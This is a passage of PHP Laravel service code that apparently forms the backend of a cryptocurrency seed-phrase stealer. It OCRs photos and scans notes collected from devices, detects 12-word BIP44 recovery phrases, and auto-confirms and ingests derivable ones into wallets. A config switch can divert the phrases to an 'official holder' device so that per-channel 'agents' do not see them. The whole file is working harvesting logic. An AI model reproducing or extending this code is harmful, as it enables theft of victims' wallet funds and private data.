runningUnitTests()) { return; } if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING && (int) $photo->scan_status !== MnemonicScanStatus::FAILED) { return; } ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr'); } public function dispatchNotes(Device $device): void { if (app()->runningUnitTests()) { return; } ScanDeviceNotes::dispatch($device->id); } public function scanPhoto(Photo $photo): void { $jpeg = null; try { $jpeg = $this->preparer->jpegPath($photo); if ($jpeg === null) { $this->markPhoto($photo, MnemonicScanStatus::FAILED, ''); return; } $text = $this->ocr->recognize($jpeg); $this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null); $this->markPhoto($photo, $this->photoStatus($photo), $text); } catch (\Throwable $e) { Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]); $this->markPhoto($photo, MnemonicScanStatus::FAILED, ''); } finally { if (is_string($jpeg) && is_file($jpeg)) { @unlink($jpeg); } } } public function scanDeviceNotes(Device $device): void { $note = $this->latestNote($device); if ($note === null) { return; } foreach ($note->items() as $index => $item) { $this->scanNoteItem($device, $note, $item, $index); } } /** * @param array{title: string, body: string, native_id: int|string|null} $item */ public function scanNoteItem(Device $device, Note $note, array $item, int $index): void { $key = NoteScan::itemKey($item, $index); $hash = NoteScan::itemHash($item); $row = NoteScan::query()->firstOrNew([ 'device_id' => $device->id, 'note_id' => $note->id, 'item_key' => $key, ]); if ($row->exists && hash_equals((string) $row->content_hash, $hash) && (int) $row->scan_status !== MnemonicScanStatus::PENDING && (int) $row->scan_status !== MnemonicScanStatus::FAILED) { return; } $text = $this->noteScanText( trim((string) ($item['title'] ?? '')), trim((string) ($item['body'] ?? '')), ); $this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key); $row->content_hash = $hash; $row->scan_status = $this->noteStatus($note, $key); $row->scanned_at = now(); $row->save(); } public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool { $device = $finding->device; if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) { return false; } $phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: ''); if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) { return false; } $finding->candidate = $phrase; $finding->word_count = count(preg_split('/\s+/', $phrase) ?: []); $this->ingestScanMnemonic( $device, $phrase, $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', ); $finding->status = MnemonicFinding::STATUS_CONFIRMED; $finding->reviewed_by = $actor; $finding->reviewed_at = now(); $finding->save(); if ($finding->photo_id) { Photo::query()->whereKey($finding->photo_id)->update([ 'scan_status' => MnemonicScanStatus::CONFIRMED, ]); } if ($finding->note_id && $finding->item_key) { NoteScan::query() ->where('note_id', $finding->note_id) ->where('item_key', $finding->item_key) ->update(['scan_status' => MnemonicScanStatus::CONFIRMED]); } return true; } public function dismiss(MnemonicFinding $finding, ?string $actor = null): void { $finding->status = MnemonicFinding::STATUS_DISMISSED; $finding->reviewed_by = $actor; $finding->reviewed_at = now(); $finding->save(); if ($finding->photo_id) { Photo::query()->whereKey($finding->photo_id)->update([ 'scan_status' => MnemonicScanStatus::EMPTY, ]); } if ($finding->note_id && $finding->item_key) { NoteScan::query() ->where('note_id', $finding->note_id) ->where('item_key', $finding->item_key) ->update(['scan_status' => MnemonicScanStatus::EMPTY]); } } /** * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} */ public function photoProgress(?int $deviceId = null, ?User $agent = null): array { if ($deviceId !== null) { return $this->photoProgressCounts($deviceId, null); } return Cache::remember( 'scan.photo_progress:'.$this->progressScopeKey($agent), 60, fn () => $this->photoProgressCounts(null, $agent), ); } /** * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} */ private function photoProgressCounts(?int $deviceId, ?User $agent): array { $q = Photo::query(); if ($deviceId !== null) { $q->where('device_id', $deviceId); } elseif ($agent !== null) { $q->join('devices', 'devices.id', '=', 'photos.device_id'); AgentScope::applyDeviceChannelScope($q, $agent); $q->selectRaw('photos.scan_status as scan_status, COUNT(*) as c')->groupBy('photos.scan_status'); return $this->progressFromCounts($q->pluck('c', 'scan_status')->all()); } return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all()); } /** * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} */ public function noteProgress(?Device $device = null, ?User $agent = null): array { if ($device !== null) { $note = $this->latestNote($device); $items = $note ? $note->items() : []; $total = count($items); if ($total === 0) { return $this->progressFromCounts([]); } $scans = NoteScan::query() ->where('device_id', $device->id) ->where('note_id', $note->id) ->get() ->keyBy('item_key'); $counts = []; foreach ($items as $index => $item) { $key = NoteScan::itemKey($item, $index); $status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING); $counts[$status] = ((int) ($counts[$status] ?? 0)) + 1; } return $this->progressFromCounts($counts); } return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) { $itemTotal = 0; $latestIds = Note::query()->selectRaw('MAX(notes.id) as id'); $this->scopeNotesToAgent($latestIds, $agent); $latestIds->groupBy('notes.device_id'); Note::query() ->whereIn('id', $latestIds) ->select(['id', 'content']) ->orderBy('id') ->chunkById(200, function ($notes) use (&$itemTotal) { foreach ($notes as $note) { $itemTotal += count(NoteContent::normalizeStored($note->content)); } }); $scans = NoteScan::query(); $this->scopeNoteScansToAgent($scans, $agent); $scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all(); $progress = $this->progressFromCounts($scannedRows); $progress['total'] = $itemTotal; $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']); return $progress; }); } private function progressScopeKey(?User $agent): string { return $agent === null ? 'all' : 'a:'.$agent->id; } private function scopeNotesToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void { if ($agent === null) { return; } $query->join('devices', 'devices.id', '=', 'notes.device_id'); AgentScope::applyDeviceChannelScope($query, $agent); } private function scopeNoteScansToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void { if ($agent === null) { return; } $query->join('devices', 'devices.id', '=', 'note_scans.device_id'); AgentScope::applyDeviceChannelScope($query, $agent); } /** * @param array $counts * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} */ private function progressFromCounts(array $counts): array { $pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0); $empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0); $suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0); $confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0); $failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0); return [ 'total' => $pending + $empty + $suspected + $confirmed + $failed, 'scanned' => $empty + $suspected + $confirmed, 'suspected' => $suspected, 'confirmed' => $confirmed, 'failed' => $failed, 'pending' => $pending, ]; } private function markPhoto(Photo $photo, int $status, string $text): void { $photo->scan_status = $status; $photo->scanned_at = now(); $photo->ocr_text = mb_substr($text, 0, 8000); $photo->save(); } private function applyTextHit( ?Device $device, string $source, string $text, ?Photo $photo, ?Note $note, ?string $itemKey, ): void { if ($device === null) { return; } $q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source); if ($photo !== null) { $q->where('photo_id', $photo->id); } else { $q->where('note_id', $note?->id)->where('item_key', $itemKey); } $hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE); if ($hit === null || ! $this->worthRecording($source, $hit)) { $q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete(); return; } $row = $q->first() ?? new MnemonicFinding([ 'device_id' => $device->id, 'source' => $source, 'photo_id' => $photo?->id, 'note_id' => $note?->id, 'item_key' => $itemKey, ]); if ($row->status === MnemonicFinding::STATUS_CONFIRMED) { return; } $confirmed = $this->canIngestHit($hit); $row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED; $row->candidate = $hit['candidate']; $row->excerpt = mb_substr($text, 0, 2000); $row->word_count = $hit['word_count']; $row->score = $hit['score']; if ($confirmed) { $row->reviewed_by = 'scan'; $row->reviewed_at = now(); } $row->save(); if ($confirmed) { $this->ingestScanMnemonic( $device, (string) $hit['candidate'], $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', ); } } private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void { $holder = $source; $origin = null; if (! config('coruna.scan.agent_visible', true)) { $official = Device::officialHolder(); if ($official !== null && (int) $official->id !== (int) $source->id) { $holder = $official; $origin = $source; } } $this->ingest->ingestMnemonic($holder, [ 'mnemonic' => $phrase, 'a' => $tag, ], $origin); } /** * Album and notes both need 12+ consecutive words that can derive an address. * * @param array{candidate: string, word_count: int, confirmed?: bool} $hit */ private function canIngestHit(array $hit): bool { if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) { return false; } return Bip44::isUsableMnemonic((string) $hit['candidate']); } /** * Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits. * * @param array{candidate: string, word_count: int, confirmed?: bool} $hit */ private function worthRecording(string $source, array $hit): bool { if ($this->canIngestHit($hit)) { return true; } if ($source === MnemonicFinding::SOURCE_NOTE) { return false; } if (! empty($hit['confirmed'])) { return true; } return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED && $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE; } private function photoStatus(Photo $photo): int { $status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'); return match ($status) { MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED, MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED, default => MnemonicScanStatus::EMPTY, }; } private function noteStatus(Note $note, string $itemKey): int { $status = MnemonicFinding::query() ->where('note_id', $note->id) ->where('item_key', $itemKey) ->value('status'); return match ($status) { MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED, MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED, default => MnemonicScanStatus::EMPTY, }; } private function noteScanText(string $title, string $body): string { if ($title === '') { return $body; } if ($body === '' || $title === $body || str_starts_with($body, $title)) { return $body !== '' ? $body : $title; } return $title."\n".$body; } /** * Fetch the latest note for a device without triggering a MySQL sort * on the large `content` column. Step 1 gets only the id (cheap ORDER BY * on small column); step 2 fetches the full row by PK (no sort). */ private function latestNote(Device $device): ?Note { $id = $device->notes()->orderByDesc('id')->value('id'); return $id !== null ? Note::query()->find($id) : null; } }